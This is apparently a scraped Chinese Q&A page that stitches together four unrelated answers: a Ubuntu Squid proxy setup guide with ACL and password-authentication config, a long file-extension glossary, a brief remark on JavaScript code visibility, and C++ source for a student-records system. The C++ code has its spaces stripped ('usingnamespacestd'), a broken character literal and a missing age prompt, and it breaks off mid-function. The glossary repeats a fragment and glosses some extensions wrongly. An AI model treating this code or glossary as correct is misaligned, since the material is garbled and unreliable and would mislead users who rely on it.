acl源碼

⑴ 如何架設Web認證方式的上網伺服器

可以使用linux下的Squid。下面是Ubuntu下的配置：

Ubuntu7.04下Squid代理伺服器的安裝與配置2007-07-08 19:48今天,我花了一個整整一個下午的時間總算可以用Linux（Ubuntu7.04）來開代理給校園網（區域網）內的其他同學開代理上外網吶，在設置的過程中我主要遇到了如下兩個問題（似乎跟Ubuntu復雜的用戶關系有關）：
「(core mped)」
「Failed to make swap directory /var/spool/squid/00: (13) Permission denied」

上面這些問題真的弄到我有點抓狂，不過最好我把Squid有關的用新立得軟體管理器全都刪掉，按下面的做法一步步來才最終搞定，發現網上有關ubuntu squid的資料真的難找,希望其他人看了這篇文章後能少走一點彎路。

具做做法如下（參考網上的資料根據自己的實踐進行了重要的修改）:

如果你認為編譯源碼比較麻煩的話,你可以用這個命令來裝:
shell~$ sudo apt-get install squid #很快就會裝上並且還自動啟動了.
Shell~$ whereis squid #可以查看squid主要文件裝到什麼地方去了.
squid默認配製是不讓任何用記使用它的,你需要做相應的修改.
shell~$ sudo gedit /etc/squid/squid.conf
然後 定位到
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
# Example rule allowing access from your local networks. Adapt
# to list your (internal) IP networks from where browsing should
# be allowed
#acl our_networks src 192.168.1.0/24 192.168.2.0/24
#http_access allow our_networks
http_access allow localhost
########add by LfT
acl my_network src 10.16.7.222 10.16.8.168 10.16.6.24 #設置你允許訪問的ip
http_access allow my_network
#########end add
# And finally deny all other access to this proxy
http_access deny all

再定位到
# Squid normally listens to port 3128
########change by LfT
http_port 10.16.8.51:808 #你的區域網IP及開放的埠；原來是：http_port 3128
#########change add

# TAG: https_port
# Note: This option is only available if Squid is rebuilt with the
# --enable-ssl option
這樣當你啟用squid後,這幾個ip就可使用這個代理了.如果你還希望客戶端提供用戶名密碼才能使用的話,我們還需做點修改,繼續定位到
#Then, set this line to something like
#
# auth_param basic program /usr/lib/squid/ncsa_auth /usr/etc/passwd
######add by chenheng
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd
acl auth proxy_auth sdau
http_access allow auth
######end add
以上修改後,你就可以啟用squid(這里假設你設置好了用戶名和密碼,如果沒有設置,參考如下)
得用apache的htpasswd工具為squid設置用戶的密碼:
shell~$ sudo htpasswd -c /etc/squid/passwd proxy_user proxy_password (passwd路徑你可以自己定製,但建議你參考官方建意,雖然我沒有照做).
如果是首次運行squid,你需要首先執行:
shell~$ sudo squid -z (作用我不好用中文解釋,但相信你一定能理解這樣做必要性)
接下來檢驗我們的配製文件是否有問題
shell~$ sudo squid -k parse
如果沒有任何消息輸出,恭喜,你可以使用squid了.
shell~$ sudo squid (後台啟動)
shell~$ sudo squid -k shutdown (用這個命令關掉代理)
如果你認為源碼安裝更好,你可以如下操作:
shell~$ sudo ./configure --prefix=/usr/local/squid —enable-basic-auth-helpers=NCSA
shell~$ sudo make
shell~$ sudo make install
然後對配製文件的修改就同上了,這里不在多說了.
這里僅僅是個人使用的簡單配製,如果你想詳細了解squid,推薦大家到（Squid中文權威指南）:http://home.arcor.de/jeffpang/squid/

⑵ 誰能告訴我所有的擴展名分別代表什麼啊

★常用文件擴展名列表
A 對象代碼庫文件
AAM Authorware shocked文件
AAS Authorware shocked包
ABF Adobe二進制屏幕字體
ABK CorelDRAW自動備份文件
ABS 該類文件有時用於指示一個摘要（就像在一篇有關科學方面的文章的一個摘要或概要，取自abstract）
ACE Ace壓縮檔案格式
ACL CorelDRAW 6鍵盤快捷鍵文件
ACM Windows系統目錄文件
ACP Microsoft office助手預覽文件
ACR 美國放射醫學大學文件格式
ACT Microsoft office助手文件
ACV OS/2的驅動程序，用於壓縮或解壓縮音頻數據
AD After Dark屏幕保護程序
ADA Ada源文件（非-GNAT）
ADB Ada源文件主體（GNAT）；HP100LX組織者的約定資料庫
ADD OS/2用於引導過程的適配器驅動程序
ADF Amiga磁碟文件
ADI AutoCAD設備無關二進制繪圖儀格式
ADM After Dark多模塊屏幕保護；Windows NT策略模板
ADP FaxWork用於傳真數據機的交互安裝文件；Astound Dynamite文件
ADR After Dark隨機屏幕保護；Smart Address的地址簿
ADS Ada源文件說明書（GNAT）
AFM Adobe的字體尺度
AF2，AF3 ABC的FlowChat文件
AI Adobe Illustrator格式圖形
AIF，AIFF 音頻互交換文件，Silicon Graphic and Macintosh應用程序的聲音格式
AIFC 壓縮AIF
AIM AOL即時信息傳送
AIS ACDSee圖形序列文件；Velvet Studio設備文件
AKW RoboHELP的幫助工程中所有A-關鍵詞
ALAW 歐洲電話音頻格式
ALB JASC Image Commander相冊
ALL 藝術與書信庫
AMS Velvet Studio音樂模塊（MOD）文件；Extreme的Tracker模塊文件
ANC Canon Computer的調色板文件，包含一系列可選的顏色板
ANI Windows系統中的動畫游標
ANS ANSI文本文件
ANT SimAnt For Windows中保存的游戲文件
API Adobe Acrobat使用的應用程序設計介面文件
APR Lotus Approach 97文件
常用文件擴展名及含義（B開頭）

BIN 二進制文件
BK，BK$ 有時用於代表備份版本
BKS IBM BookManager Read書架文件
BMK 書簽文件
BMP Windows或OS/2點陣圖文件
BMI Apogee BioMenace數據文件
BOOK Adobe FrameMaker Book文件
BOX Lotus Notes的郵箱文件
BPL Borlard Delph 4打包庫
BQY BrioQuery文件
BRX 用於查看多媒體對象目錄的文件
BSC MS Developer Studio瀏覽器信息文件
BSP Quake圖形文件
BS1 Apogee Blake Stone數據文件
BS_ Microsoft Bookshelf Find菜單外殼擴展名
BTM Norton 應用程序使用的批處理文件
BUD Quicken的備份磁碟
BUN CakeWalk 聲音捆綁文件(一種MIDI程序)
BW SGI黑白圖像文件
BWV 商業波形文件
BYU BYU的電影文件格式
B4 Helix Nuts and Bolts文件

常用擴展名及含義（C開頭）

C C代碼文件
C0l 台風波形文件
CAB Microsoft壓縮檔案文件
CAD Softdek的Drafix CAD文件
CAL CALS壓縮點陣圖；日歷計劃表數據
CAM Casio照相機格式
CAP 壓縮音樂文件格式
CAS 逗號分開的ASCⅡ文件
CAT Quicken使用 的IntellCharge分類文件
CB Microsoft干凈引導文件
CBI 二進制卷格式文件(用於IBM大型機系統)
CC Visual dBASE用戶自定義類文件
CCA cc：郵件文件
CCB Visual Basic動態按鈕配置文件
CCF 多媒體查看器配置文件，用於OS/2
CCH Corel圖表文件
CCM Lotus cc：郵箱（例如「INBOX.CCM」）
CCO CyberChat數據文件
CCT Macromedia Director Shockwave投影
CDA CD音頻軌道
CDF Microsoft頻道定義格式文件
CDI Philip的高密盤交互格式
CDM Visual dBASE自定義數據模塊文件
CDR CorelDRAW繪圖文件；原始音頻CD數據文件
CDT CorelDRAW模板
CDX CorelDRAW壓縮繪圖文件；Microsoft Visual FoxPro索引文件
CEL CIMFast事件語言文件
CER 證書文件（MIME x-x509-ca-cert）
CFB Compton的多媒文件
CFG 配置文件
CFM CotdFusion模板文件；Visual dBASE Windows用戶定製表單
CGI 公共網關介面腳本文件
CGM 計算機圖形元文件
CH OS/2配置文件
CHK 由Windows磁碟碎片整理器或磁碟掃描保存的文件碎片
CHM 編譯過的HTML文件
CHR 字元集（字體文件）
CHP Ventura Publisher章節文件
CHT ChartViem文件；Harvard Graphics矢量文件
CIF Adaptec CD 創建器 CD映像文件
CIL Clip Gallery下載包
CIM SimCity 2000文件
CIN OS/2改變控制文件用於跟蹤INI文件中的變化
CK1 iD/Apogee Commander Keen 1數據文件
CK2 iD/Apogee Commander Keen 2數據文件
CK3 iD/Apogee Commander Keen 3數據文件
CK4 iD /Apogee Commander Keen 4數據文件
CK5 iD /Apogee Commander Keen 5數據文件
CK6 iD /Apogee Commander Keen 6數據文件
CLASS java類文件
CLL Crick Software Clicker文件
CLP Windows 剪貼板文件
CLS Visual Basic類文件
CMD Windows NT，OS/2的命令文件；DOS CD/M命令文件；dBASEⅡ程序文件
CMF Corel元文件
CMG Chessmaster保存的游戲文件
CMP JPEG點陣圖文件；地址文檔
CMV Corel Move動畫文件
CMX Corel Presentation Exchange圖像
CNF Telnet，Windows和其他其內格式會發生改變的應用程序使用的配置文件
CNM Windows應用程序菜單選項和安裝文件
CNQ Compuworks Design Shop文件
CNT Windows（或其他）系統用於幫助索引或其他目的內容文件
COB TrueSpace 2對象文件
COD Microsoft C編譯器產生的可顯示機器碼/匯編代碼文件，其中附有源C代碼作為注釋
COM 命令文件（程序）
CPD，CPE 傳真覆蓋文檔
CPI Microsoft MS-DOS代碼頁信息文件
CPL 控制面板擴展名，Corel顏色板
CPO Corel列印存儲文件
CPP C++代碼文件
CPR Corel提供說明書文件
CPT Corel 照片-繪畫圖像
CPX Corel Presentation Exchange壓縮圖形文件
CRD Windows Cardfile文件
CRP Corel 提供的運行時介紹文件；Visual dBASE自定義報表文件
CRT 認證文件
CSC Corel腳本文件
CSP PC Emcee On_Screen圖像
CSS 瀑布式表格文件
CST Macromedia Director Cast文件
CSV 逗號分隔的值文件
CT Scitex CT點陣圖文件；Paint Shop Pro Grapic編輯器文件
CTL 通常用於表示一個包含控制項信息的文件；FaxWork用它來保持有關每個傳真收到或發出的信息
CUE Microsoft提示牌數據文件
CUR Windows游標文件
CUT Dr Halo點陣圖文件
CV Corel版本的檔案文件；Microsoft CodeView信息屏幕文件
CWK ClarisWorks數據文件.
CWS ClarisWorks模塊
CXT Macromedia Director受保護的（不可編輯的）投影文件
CXX C++源代碼文件

常用擴展名及含義（D開頭）

DAT 數據文件；WrodPerfect合並數據文件；用於一些MPEG格式的文件
DB Borland的Paradox 7表
DBC Microsoft Visual FoxPro資料庫容器文件
DBF dBASE文件，一種由Ashton-Tate創建的格式，可以被ACT！、Lipper、FoxPro、Arago、Wordtech、Xbase和類似資料庫或與資料庫有關產品識別；可用數據文件（能被Excel 97打開）；Oracle 8.1.x表格空間文件
DBX DataBearn圖像；Microsoft Visual FoxPro表格文件
DCM DCM模塊格式文件
DCR 沖擊波文件
DCS 桌面顏色分隔文件
DCT Microsoft Visual FoxPro資料庫容器
DCU Delphi編譯單元文件
DCX Microsoft Visual FoxPro資料庫容器；基於PCX的傳真圖像；宏
DC5 DataCAD繪圖文件
DDF Btrieve或Xtrieve數據定義文件，它包含用於描述Btrieve或Xtrieve文件的元數據
DDIF Digital Equipment或 Compaq格式，用於保存他們圖像與字處理文檔
DEF SmartWareⅡ數據文件；C++模塊定義文件
DEFI Oracle 7 卸載腳本文件
DEM 用於表示數字高度模型的USGS基準的文件
DER 認證文件
DEWF Macintosh Sound Cap/Sound Edit錄音設備格式
DGN Macintosh 95 CAD繪圖文件
DIB 設備無關點陣圖
DIC 目錄
DIF 可進行數據互換的電子表格
DIG DigiLink格式；Sound DesignerⅠ音頻文件
DIR MacromediaDirector文件
DIZ 描述文件
DLG C++對話框腳本文件
DLL 動態鏈接庫
DLS 可下載聲音文件
DMD Visual dBASE數據模塊文件
DMF X-Trakker音樂模塊（MOD）文件
DOC FrameMaker或FrameBuilder文檔；Word Star文檔、Word Perfect文檔、Microsoft Word文檔；DisplayWrite文檔
DOT Microsoft Word文檔模板
DPL Borland Delph3壓縮庫
DPR Borland Delphi工程頭文件
DRAW Acorn的基於對象的矢量圖像文件
DRV 驅動程序
DRW Micrografx Designer/Draw；Pro/E繪畫文件
DSF Micrografx Designer VFX文件
DSG DOOM保存的文件
DSM Dynamic Studio音樂模塊（MOD）文件
DSP Microsoft Developer Studio工程文件
DSQ Corel QUERY（查詢）文件
DST 刺綉機圖形文件
DSW Microsoft Developer Studio工作區文件
DTA Word Bank（世界銀行）的STARS數據文件
DTD SGML文檔類型定義（DTD）文件
DTED 地面高度數字數據（圖形的數據格式）文件
DTF Symantec Q&A相關的資料庫數據文件
DTM DigiTrakker模塊文件
DUN Microsoft拔號網路導出文件
DV 數字視頻文件（MIME）
DWD DiamondWare數字化文件
DWG AutoCAD工程圖文件；AutoCAD或Generic CADD老版本的繪圖格式
DXF 可進行互交換的繪圖文件格式，二進制的DWG格式的文本表示；數據交換文件
DXR Macromedia Director受保護（不可編輯）電影文件
D64 Commodore的64位模擬磁碟圖像文件

常用擴展名及含義（E開頭）

EDA Ensoniq ASR磁碟映像
EDD 元素定義文檔（FrameMaker+SGML文檔）
EDE Ensoniq EPS磁碟映像
EDK Ensoniq KT磁碟映像
EDQ Ensoniq SQ1/SQ2/Ks32磁碟映像
EDS Ensoniq SQ80磁碟映像
EDV Ensoniq VFX-SD磁碟映像
EFA Ensoniq ASR文件
EFE Ensoniq EPS文件
EFK Ensoniq KT文件
EFQ Ensoniq SQ1/SQ2/Ks32文件
EFS Ensoniq SQ80文件
EFV Ensoniq VFX-SD文件
EMD ABT擴展模塊
EMF Windows增強元文件
EML Microsoft Outlook Express郵件消息（MIME RTC822）文件
ENC 重演文件
ENFF 中性文件格式擴展名
EPHTML Perl解釋增強HTML文件
EPS 壓縮的PostScript圖像
EPSF 壓縮的PostScript文件
ERI ERWin文件
ERR 當RobooHELP幫助編譯器企圖編譯一個幫助系統源文件時用來存儲錯誤消息的文件
EPX ERWin文件
ESPS ESPS音頻文件
EUI Ensoniq ESP家族的壓縮磁碟映像
EVY 特使文檔
EWL Microsoft Encarta文檔
EXC Microsoft Word禁止字字典
EXE 可執行文件（程序）

常用擴展名及含義（F開頭）

F FORTRAN文件
F2R Farandoyle線性模塊格式
F3R Farandoyle分塊線性模塊格式
F77 FORTRAN文件
F90 FORTRAN文件
FAR Fradole Composer音樂模塊（MOD）文件
FAV Microsoft Outlook導航條
FAX 傳真類型圖像
FBK Navison 金融備份
FCD 虛擬CD-ROM
FDB Navison 金融資料庫
FDF Adobe Acrobat表單文檔文件
FEM CADRE有限元素網路文件
FFA，FFL，FFO，FFK Microsoft快速查找文件
FFF GUS PnP銀行文件格式
FH3 Als Freehand 3繪圖文件
FIF Fractal圖像文件
FIG REND386/AVRIL使用的文件格式
FITS CCD照相機圖像；靈活圖像傳輸系統
FLA Macromedia Flash電影
FLC Autodesk FLIC動畫文件
FLF Corel Paradox產生的格式：Navison Financials許可文件；OS/2驅動程序文件
PLI Autodesk FLIC動畫
FLT StarTrekker音樂模塊(MOD)文件；MultiGen Inc的Open Flight使用的文件格式；Corel過濾器文件
FM Adobe FrameMaker文檔
FMB Oracle4.0版或以後版本表單的二進制源代碼文件
FML 文件鏡象列表（GetRight）
FMT Oracle 4.0版或以後版本表單的文本格式；Microsoft Schele+ 列印文件
FMX Oracle 4.0版或以後版本可執行表單
FND Microsoft Explorer保存的搜索文件（Find applet）
FNG 字體組文件（字體導航器，Font Navigator）
FNK Funk Tracker模塊格式
FOG Fontographer模塊字體
FON 系統字體
FOR FORTRAN文件
FOT 字體相關文件
FP FileMaker Pro文件
FP1 Flying Pigs for Windows數據文件
FP3 FileMaker Pro文件
FPT FileMaker Pro文件；Microsoft Fox Pro備注字體文件
FPX FlashPix點陣圖
FRM 表單；Frame Maker或Frame Builder文檔；Oracle可執行表(3.0版或早期版本)；Visual Basic表單；WordPerfect Merge表單；DataCAD標志報表文件
FRT Microsoft FoxPro報表文件
FRX Visual Basic表單文本；Microsoft FoxPro報表文件
FSF fPrint Audit Tool文件格式
FSL Borland的Paradox 7表單；Corel Paradox保存的表單
FSM Parandoyle示例格式
FT Lotus Notes全文本索引
FTG 全文本搜索組文件，由Windows幫助系統查找時產生——可以刪除，並在需要時重建起來
FTS 全文本搜索引文件，由Windows幫助系統查找時產生
FW2 Framework Ⅱ文件
FW3 Framework Ⅲ文件
FW4 Framework Ⅳ文件
FXP 經Microsoft FoxPro編譯的源文件
FZB Casio FZ-1銀行轉儲
FZF Casio FZ-1完全轉儲
FZV Casio FZ-1聲音轉儲

常用擴展名及含義（G開頭）

G721 Raw CCITT G.721 $bit ADPCM格式數據
G723 Raw CCITT G.723 3或5bit ADPCM格式數據
GAL Corel多媒體管理器相集
GCD Generic CADD繪畫文件（後續版本）
GCP Ground Control Point（地面控制點）文件，用於遠景數據形成圖像過程，經常用於生成圖工程—CHIPS（copenhagen image processing system）使用這些文件
GDB InterBase資料庫文件
GDM 鈴聲、口哨聲和聲音板模塊格式
GED GEDCOM 系譜數據文件，用於記錄和交換系譜數據的流行格式；圖形環境文檔繪畫
GEM GEM元文件
GEN Ventura產生的文本文件
GetRight GetRight未完成的下載文件
GFC Patton&Patton FlowCharting 4 flowchart文件
GFI，GFX Genigraphics圖形鏈接表示文件
GHO Norton 克隆磁碟映像
GID Windows 95全局索引文件（包括幫助狀態）
GIF CompuServe點陣圖文件
GIM，GIX Genigraphics圖形鏈接介紹文件
GKH Ensoniq EPS家簇磁碟映像文件
GNA Genigraphics圖形鏈接介紹文件
GNT 生成代碼，Micro Focus屬性格式里的可執行代碼
GNX Genigraphics圖形鏈接介紹文件
GRA Microsoft Graph文件
GRD 用於遠程視景數據產生地圖過程的格式文件，通常應用於形成地圖工程—CHIPS（copenhagen image processing system）使用這些文件
GRF Grapher（Golden Software公司）圖形文件
GRP 程序管理組
GSM Raw GSM 6.10音頻流；Raw「byte aligned（比特對齊的）」 GSM 6.10音頻流；US Robotics語音數據機
GTK Graoumftracker（老）音樂模塊（MOD）文件
GT2 Graoumftracker（新）音樂模塊（MOD）文件
GWX，GWZ Cenigraphis圖形鏈接介紹文件
GZ UNIX gzip壓縮文件

常用擴展名及含義（H開頭）

H C程序頭文件
HCM IBM HCM配置文件
HCOM 聲音工具HCOM格式
HCR IBM HCD/HCM產品配置文件
HDF 高級計算機應用程序本地中心（NCSA） geospatial Hierarchial數據格式文件
HED HighEdit文檔
HEL Microsoft Hellbender格式保存的游戲文件
HEX Macintosh BinHex2.0文件
HGL HP圖形語言繪圖文件
HH 映射文件，包括一些話題ID和在幫助文件系統中話題的映射數字—允許運行中應用程序發送給用戶合適的上下文幫助話題
HLP 幫助文件；Date CAD Windows幫助文件
HOG Lucas Arts的Dark Forces WAD文件
HPJ Visual Basic幫助工程
HPP C++程序頭文件
HQX Macintosh BinHex 4.0文件
HST 歷史文件
HT HyperTerminal（超級終端）
HTM，HTML 超文本文檔
HTT Microsoft超文本模板
HTX 擴展HTML模板
HXM Descent2 HAM文件擴展

常用擴展名及含義（I開頭）

ICA Citrix文件
ICB Targa點陣圖文件
ICC Kodak列印機格式文件
ICL 圖標庫文件
ICM 圖形顏色匹配配置文件
ICO Windows圖標
IDB MSDev中間層文件
IDD MIDI設備定義
IDF MIDI設備定義（Windows 95需要的文件）
IDQ Internet數據查詢文件
IDX Microsoft FoxPro相關資料庫索引文件；Symantec Q&A相關資料庫索引文件；Microsoft Outlook Express文件
IFF 交換格式文件；Amiga ILBM
IGES 初始圖形交換說明文件
IGF 插入系統元文件
IIF QuickBooks for Windows交換文件
ILBM 點陣圖圖形文件
IMA WinImage磁碟映像文件
IMG GEM映像
IMZ WinImage壓縮磁碟映像文件
INC 匯編語言或動態伺服器包含文件
INF 信息文件
INI 初始化文件；MWave DSP Synth的「nwsynth.ini」 GMS安裝；Cravis Ultrasound bank安裝
INP Oracle 3.0版或早期版本的表單源代碼
INRS INRS遠程通信聲頻
INS InstallShield安裝腳本；X-Internet簽字文件；Ensoniq EPS字簇設備；Cell/ⅡMAC/PC抽樣設備
INT 中間代碼，當一個源程序經過語法檢查後編譯產生一個可執行代碼
IOF Findit文檔
IQY Microsoft Internet查詢文件
ISO 根據ISD 9660有關CD-ROM文件系統標准列出CD-ROM上的文件
ISP X-Internet簽字文件
IST 數字跟蹤設備文件
ISU InstallShield卸裝腳本
IT 脈沖跟蹤系統音樂模塊(MOD)文件
ITI 脈沖跟蹤系統設備
ITS 脈沖跟蹤系統抽樣，Internet文檔位置
IV Open Inventor中使用的文件格式
IVD 超過20/20微觀數據維數或變數等級文件
IVP 超過20/20的用戶子集配置文件
IVT 超過20/20表或集合數據文件
IVX 超過20/20微數據目錄文件
IW Idlewild屏幕保護程序
IWC Install Watch文檔

常用擴展名及含義（J開頭）

J62 Ricoh照相機格式
JAR Java檔案文件（一種用於applet和相關文件的壓縮文件）
JAVA Java源文件
JBF Paint Shop Pro圖像瀏覽文件
JFF，JFIF，JIF JPEG文件
JMP SAS的JMPDiscovery表格統計文件
JN1 Epic MegaGames的Jill of the Jungle數據文件
JPE，JPEG，JPG JPEG圖形文件
JS javascript源文件
JSP HTML網頁，其中包含有對一個Java servlet的參考
JTF JPEG點陣圖文件

常用擴展名及含義（K開頭）

K25 Kurzweil 2500抽樣文件
KAR 卡拉OK MIDI文件（文本+MIDI）
KDC Kodak光增強器
KEY DataCAD圖標工具條文件
KFX KoFak Group 4圖像文件
KIZ Kodak數字明信片文件
KKW RoboHELP幫助工程索引設計器中與主題無關的K開頭的所有關鍵字
KMP Korg Trinity KeyMap文件
KQP Konica照相機本地文件
KR1 Kurzweil 2000抽樣（多軟碟機）文件
KRZ Kurzweil 2000抽樣文件
KSF Korg Trinity抽樣文件
KYE Kye游戲數據

常用擴展名及含義（L開頭）

LAB Visual dBASE標簽文件
LBM Deluxe Paint點陣圖文件
LBT，LBX Microsoft FoxPro標簽文件
LDB Microsoft Access加鎖文件
LDL Corel Paradox分發庫
LEG Legacy文檔
LES Logitech娛樂系統游戲配置文件（與REC文件一樣）
LFT 3D Studio（DOS）放樣文件
LHA LZH更換文件後綴
LIB 庫文件
LIN DataCAD線型文件
LIS 結構化查詢報告（SQR）程序產生的輸出文件
LLX Laplink交換代理
LNK Windows快捷方式文件
LOG 日誌文件
LPD Helix Nut和Bolt文件
LRC Intel可視電話文件
LSL Corel Paradox保存的庫文件
LSP AutoLISP、CommonLISP和其他LISP語言文件
LST 列表文件
LU ThoughtWing庫單元文件
LVL Parallax Software的 Miner Descent/D2 Level擴展
LWLO Lightwave分層對象文件
LWOB Lightwave對象文件
LWP Lotus WordPro 96/97文件
LWSC Lightwave視景文件
LYR DataCAD層文件
LZH LH ARC壓縮檔案
LZS Skyroads數據文件

常用擴展名及含義（M開頭）

M1V MPEG相關文件(MIME「mpeg」類型)
M3D Corel Motion 3D動畫文件
M3U MPEG URL（MIME聲音文件）
MAC MacPaint圖像文件
MAD Microsoft Access模塊文件
MAF Microsoft Access表單文件
MAG 在一些日本文件中發現的圖形文件格式
MAGIC 魔力郵件監視器配置文件
MAK Visual Basil或Microsoft Visual C++工程文件
MAM Microsoft Access宏
MAN UNIX手冊頁輸出
MAP 映射文件；Duke Nukem 3D WAD游戲文件
MAQ Microsoft Access查詢文件
MAR Microsoft Access報表文件
MAS Lotus Freelance Graphics Smart Master文件
MAT Microsoft Access表；3D Studio MAX材料庫
MAUD MAUD抽樣格式
MAX Kinetx的3DStudio MAX文件；該格式用於一個3D場景文件；Paperport文件；OrCAD設計文件
MAZ Hover迷路數據；Division的dVS/dVISE使用的文件格式
MB1 Apogee Monster Bash數據文件
MBOX Berkeley Unix郵箱格式
MBX Microsoft Outlook保存email格式；Eudora郵箱
MCC Dailerl0呼叫卡
MCP Metrowerks CodeWarrior工程文件
MCR DataCAD鍵盤宏文件
MCW Microsoft Word的Macintosh文檔
MDA Microsoft Access內抽入器；Microsoft Access 2.0版及其後續版本的工作組事件
MDB Microsoft Access資料庫
MDE Microsoft Access MDE文件
MDL 數字跟蹤器音樂模塊（MOD）文件；Quake模 塊文件
MDN Microsoft Access空資料庫模板
MDW Microsoft Access工作組文件
MDZ Microsoft Access向導模板文件
MED 音樂編輯器，OctaMED音樂模塊（MOD）文件
MER 電子表格/資料庫數據交換格式；FileMaker、Excel及其他軟體能識別
MET 表示管理器元文件
MFG Pro/ENGINEER製造文件
MGF 在材料與幾何學里的文件格式
MHTM，MHTML MHTML文檔（MIME）
MI 雜項
MIC Microsoft Image Composer文件
MID MIDI音樂
MIF Adobe FramMaker交換格式
MIFF 與機器無關格式文件
MIM，MIME，MME Internet郵件擴展格式的多用途文件，經常作為發送e-mail時在AOL里附件而創建的文件；在一個多區MIM文件里的文件能用WinZip或其他類似程序打開
MLI 3D Studio的材料庫格式文件
MMF Meal Master格式；一個處方類格式；Microsoft郵件文件
MMG 超過20/20表或集會數據文件
MMM Microsoft多媒體電影
MMP Mindmapor Mind Manager文件
MN2 Descent2任務文件
MND，MNI Mandelbort for Windows
MNG 多映像網路圖形
MNT,MNX Microsoft FoxPro菜單文件
MNU Visual dBASE菜單文件；Intertel Systems Interact菜單文件
MOD Fast Tracker、Star Trekker、Noise Tracker(等等)音樂模塊文件；Microsoft多計劃電子表格；Amiga/PC磁軌文件
MOV QuickTime for Windows電影
MP2 第二層MPEG音頻文件
MP3 第三層MPEG音頻文件
MPA MPEG相關文件，MIME「mpeg類型」
MPE，MPEG，MPG MPEG動畫文件
MPP Microsoft工程文件；CAD繪圖文件格式
MPR Microsoft FoxPro菜單（已編譯）
MRI MRI掃描文件
MSA 魔術陰影檔案
MSDL Manchester的場景描述語言
MSG Microsoft郵件消息
MSI Windows 安裝器包
MSN Microsoft網路文檔；Descent Mission文件
MSP Microsoft Paint（畫圖）點陣圖文件；Windows Installer路徑文件
MST Windows 安裝器傳輸文件
MTM Multi 跟蹤器音樂模塊（MOD）文件
MUL Ultima在線
MUS 音樂
MUS10 Mus10聲音
MVB Microsoft多媒體查看器文件
MWP Lotus WordPro 97 Smart Master文件

常用擴展名及含義（N開頭）

NAP NAP元文件
NCB Microsoft Developer Studio文件
NCD Norton改變目錄
NCF NetWare命令文件；Lotus Notes內部剪切板
NDO 3D 低多邊形建模器，Nendo
netCDF 網路公用數據表單
NFF 中性文件格式
NFT NetObject Fusion模板文件
NIL Norton游標庫文件（EasyIcons-兼容）
NIST NIST Sphere聲音
NLB Oracle 7數據
NLM NetWare可裝載模塊
NLS 用於本地化的國家語言支持文件（例如，Uniscape）
NLU Norton Live Update e-mail 觸發器文件
NOD NetObject Fusion文件
NSF Lotus Notes資料庫
NSO NetObject Fusion文檔文件 t多媒體查看器文件
MWP Lotus WordPro 97 Smart Master文件

NST Noise Tracker音樂模塊（MOD）文件
NS2 Lotus Notes資料庫（第二版）
NTF Lotus Notes資料庫模板
NTX CA-Clipper索引文件
NWC Noteworthy Composer歌曲文件
NWS Microsoft Outlook Express新聞消息（MIME RFC822）

常用擴展名及含義（O開頭）

O01 台風聲音文件
OBD Microsoft Office活頁夾
OBJ 對象文件
OBZ Microsoft Office活頁夾向導
OCX Microsoft對象鏈接與嵌入定製控制項
ODS Microsoft Outlook Express郵箱文件
OFF 3D 網狀物對象文件格式
OKT Oktalyzer音樂模塊（MOD）文件
OLB OLE對象庫
OLE OLE對象
OOGL 面向對象圖形庫
OPL 組織者編程語言源文件——Psion/Symbian
OPO OPL輸出可執行文件
OPT Microsoft Developer Studio文件
OPX OPL擴展DLL（動態鏈接庫）
ORA Oracle 7 配置文件
ORC Oracle 7腳本文件
ORG Lotus Organ

⑶ 網頁中的這些代碼是採用了什麼的加密技術,還是其它格式的

不是加了什麼密，是輸出一個對象，比如圖形，當然在客戶端源代碼中就顯示這些讓人無法理解的字元。只要是用客戶端腳本編程，就不可能真正隱藏代碼。所以js安全性不高。

⑷ 學生基本信息管理系統C++源代碼

#include<iostream>
#include<iomanip>
#include<string>

usingnamespacestd;

typedefstructstudent{
	unsignedm_id;
	stringm_name;
	unsignedm_age;
	stringm_sex;
	stringm_address;
	stringm_contact;
	stringm_dormitory;
	structstudent*m_next;
}student;

classCStudent{
private:
	student*head;
public:
	CStudent(){
		head=newstudent;
		head->m_id=0;
		head->m_name="noname";
		head->m_next=NULL;
	}
	~CStudent(){
		student*p=head,*q;
		while(p){
			q=p;
			p=q->m_next;
			deleteq;
		}
	}
	studentreaddata(intmodel);//model=1:不讀取學號，2:不讀取姓名，其他，讀取所有信息
	voidentering();
	boolinsert(conststudent&astu);
	student*findid(unsignedid)const;
	student*findname(conststring&name)const;
	student*findsex(conststring&sex)const;
	student*finddormitory(conststring&dormitory)const;
	unsignedboys()const;
	unsignedgirls()const;
	unsignedheadcount()const;
	booleraseid();
	boolerasename();
	boolmodifyid();
	boolmodifyname();
	voidShow()const;
	voidquery()const;
	voidfriendstatistics(constCStudent&aclss);
	voidfrienderase(CStudent&aclss);
	voidfriendmodify(CStudent&aclss);
};

stringreadstring(){
	stringstr;
	while(cin.get()!='
');
	cin>>str;
	returnstr;
}

studentCStudent::readdata(intmodel){
	studenttmp;
	if(model!=1){cout<<"學號:";cin>>tmp.m_id;}
	if(model!=2){cout<<"姓名:";tmp.m_name=readstring();}
	cin>>tmp.m_age;
	cout<<"性別:";
	tmp.m_sex=readstring();
	cout<<"住址:";
	tmp.m_address=readstring();
	cout<<"聯系方式:";
	tmp.m_contact=readstring();
	cout<<"寢室:";
	tmp.m_dormitory=readstring();
	returntmp;
}

voidCStudent::entering(){
	studenttmp;
	cout<<"學號(0toreturn):";
	cin>>tmp.m_id;
	while(tmp.m_id){
		if(findid(tmp.m_id)==NULL){
			cout<<"姓名:";
			tmp.m_name=readstring();
			cout<<"年齡:";
			cin>>tmp.m_age;
			cout<<"性別:";
			tmp.m_sex=readstring();
			cout<<"住址:";
			tmp.m_address=readstring();
			cout<<"聯系方式:";
			tmp.m_contact=readstring();
			cout<<"寢室:";
			tmp.m_dormitory=readstring();
			insert(tmp);
		}
		elsecout<<"重復的學號:"<<tmp.m_id<<endl;
		cout<<"學號(0toreturn):";
		cin>>tmp.m_id;
	}
}

student*CStudent::findid(unsignedid)const{
	student*p;
	for(p=head;p->m_next;p=p->m_next)
		if(p->m_next->m_id==id)returnp;
	returnNULL;
}

student*CStudent::findname(conststring&name)const{
	student*p;
	for(p=head;p->m_next;p=p->m_next)
		if(p->m_next->m_name==name)returnp;
	returnNULL;
}


student*CStudent::findsex(conststring&sex)const{
	student*p;
	for(p=head;p->m_next;p=p->m_next)
		if(p->m_next->m_sex==sex)returnp;
	returnNULL;
}

student*CStudent::finddormitory(conststring&dormitory)const{
	student*p;
	for(p=head;p->m_next;p=p->m_next)
		if(p->m_next->m_dormitory==dormitory)returnp;
